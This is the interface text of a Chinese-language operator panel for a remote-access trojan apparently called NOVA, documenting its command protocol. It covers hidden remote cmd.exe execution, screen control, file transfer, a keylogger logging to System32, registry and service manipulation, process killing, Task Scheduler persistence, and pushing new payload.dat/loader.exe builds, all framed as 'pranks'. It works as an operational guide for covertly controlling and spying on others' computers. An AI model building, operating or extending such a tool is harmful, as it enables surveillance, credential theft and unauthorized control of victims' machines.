NOVA 控制端

-- 模块 -- 未连接

中继配置

令牌走 WebSocket 子协议传输,不进 URL、不进 Referer、不进 Cloudflare 日志、不进浏览器历史。 本页需要 https 或 localhost 环境才能使用浏览器加密接口。

整蛊节目

触发时刻按你手机的本地时间填写,页面会换算成绝对时间戳下发,跨时区也不会错。
前四个按钮走被控端进程内定时器(命令 115):电脑若在触发前关机或休眠,这一条不会执行。
后两个按钮把任务写进 Windows 任务计划程序:关机重启后仍然有效,也不要求本页面保持连接。 音量请先用「立即执行一次」设好 —— 系统音量本身就跨重启保留。

命令

命令号对照:0 会话 / 1 卸载 / 2 备注 / 4 分组 / 11 弹窗 / 101 文件 / 102 屏幕 / 106 系统 / 107 键盘 / 108 服务 / 109 注册表 / 114 心跳 / 115 定时节目。 101 / 102 / 106 / 107 / 108 / 109 会让被控端另开一条连接 —— 它随后会用 116 把新房间名报过来,本页**自动**接上去(见顶部「模块」状态)。 模块房间握手完成后先别急着发命令:命令 1 与「卸载」撞号, 而在被控端完成路由绑定前的极短窗口里它会走错分支。

屏幕画面 --

点按=左键 | 长按=右键 | 双指=滚轮 | 拖动=移动指针

画面靠增量帧累积:被控端整屏 8 位位图约 2 MB,超过 NOVA 单帧上限 65535, 所以「第一张全图」永远不会单独到达(上游设计如此)。扫描每帧只刷 1/14 的行, 要 14 帧才铺满一遍;脏块只发变化的区域,铺满更快、流量更省,代价是被控端 CPU 高一些。

执行命令 --

走模块命令 13(无窗口):被控端执行 cmd.exe /c <命令> > C:\Users\Public\nova_out 2>&1, 再用命令 2/5 把输出文件拉回来。命令按 GBK 发送、输出按 GBK 解码。 回读路径不能带扩展名;&& / | / > 都能用。 && 串联的多条命令,本页会自动给每一段都挂上重定向(否则只有最后一条的输出能回读)。

文件管理 --

为什么走 dir 而不是命令 1:命令 1(列文件)在 payload 侧是坏的 —— FileManager.cpp:487 那句 wsprintf 被注释掉了,strPath 是未初始化的栈数组,FindFirstFile 必然失败(只回 1 字节)。这里改成远程跑 dir /a /b 把名字列表落到文件再回读。下载走命令 2/5,与执行命令共用同一条链路。

上传文件 --

协议:命令 3 报大小 → 文件已存在会回 23,本页自动选「覆盖」 (发命令 9 模式 4)→ 服务端回 26 并带上可写偏移 → 之后每 32 KB 一块发命令 4,每块都要等回 26 才能发下一块(这就是流控)。 上传是「远程更新」的前置:新版本的 payload.dat / loader.exe 都是这么送过去的。

弹窗消息

走主连接命令 11。载荷必须是固定 1204 字节(Title 200 + szText 1000 + Type 4)—— 被控端是 memcpy(&MsgBox, lParam, sizeof(MSGBOX)),不看实际长度, 短一字节就会把栈残渣当正文显示出来(`LOG.md` L-027 踩过)。字符串按 GBK 编码。

远程更新 --

流程:把两个文件传到新目录(旧进程占着旧目录里的文件,覆盖不了)→ 执行 taskkill /f /im loader.exe 收掉旧进程 → 等 2 秒 → start "" /d <新目录> <新目录>\loader.exe 起新进程。 loader 只从自己所在目录读 payload.dat(`GetModuleFileNameA` 取路径后拼的),所以两个文件必须同目录。 切换后当前连接会断,属正常 —— 新进程上线通常要 30-60 秒,页面会自动重连。 旧目录原样保留,出问题可以手动起回去。

服务管理 --

走模块连接:请求列表发 0x30(Win32)或 0x01(驱动), 服务端回 208,载荷是重复的 8 个 NUL 结尾字符串: 显示名 / 描述 / 状态 / 启动类型 / 登录身份 / 桌面交互 / 服务名 / 可执行路径。 控制命令用服务名:启动 101、停止 102、暂停 103、 继续 104、删除 100(危险)。需要管理员权限,普通权限下多数操作会静默失败。

键盘记录 --

记录在 %SystemRoot%\System32\MODIf.html,每 3 秒推一次增量

走模块连接(主连接发 107)。被控端构造完就阻塞在等命令 100 (和屏幕模块一样),所以「开始记录」会先发一条 100 解阻塞 —— 少了它只会静默收不到东西。 回包两种:207(记录已就绪)和 3(新增的文本,按 GBK 解码)。 需要管理员权限,普通权限下键盘钩子装不上、只会一直没数据。

注册表 --

走模块连接(主连接发 109)。请求 [1][1B 根键][路径 NUL] —— 路径为空时只发两字节。回包 6:[REGMSG 12B][count × (4B BOOL + size-4 字节名字)], REGMSG = { int count; DWORD size; DWORD valsize }。
根键字节取 MYKEY 的序号(RegManager.cpp:162-169): 0=HKCR 1=HKCU 2=HKLM 3=HKUsers 4=HKCC,默认 HKLM。 别用 HKCR:它根下五千多个子键,GetRegInfo 会把它们一次性塞进一个包 (实测 430 KB),而单帧上限只有 65535 字节 —— 包发不出去,控制端只会看到随后那条 8,误判成"枚举失败"。
回包 8 有两种含义:① 真的打不开(路径不存在 / 没权限); ② 子键列表已经发过了,只是这个键自己没有值 —— 根键和 SOFTWARE 这类 中间层永远属于第二种(GetRegKey 见值个数为 0 就发 8)。 看到 8 时先看前面有没有 6。 读写键值是另一个命令(2/3/4/5),这一版只做了枚举浏览。

系统管理 --

走模块连接(主连接发 106)。请求 1 列进程 → 回 206, 载荷是重复的记录:[4B PID][进程名 NUL][完整路径 NUL][4B 优先级][4B 线程数][用户名 NUL][4B 工作集 KB][4B 文件大小 KB]。 结束进程发 [9][1B 是否连同删文件][4B PID]…(本页固定传 0,不碰文件)。 结束系统关键进程可能导致被控端蓝屏,列表里 System / csrss.exe / wininit.exe 这些别动。 另外被控端的系统管理还带 3389 端口、用户账户、软件列表等 30 多个命令,本页只做了进程这一块。

日志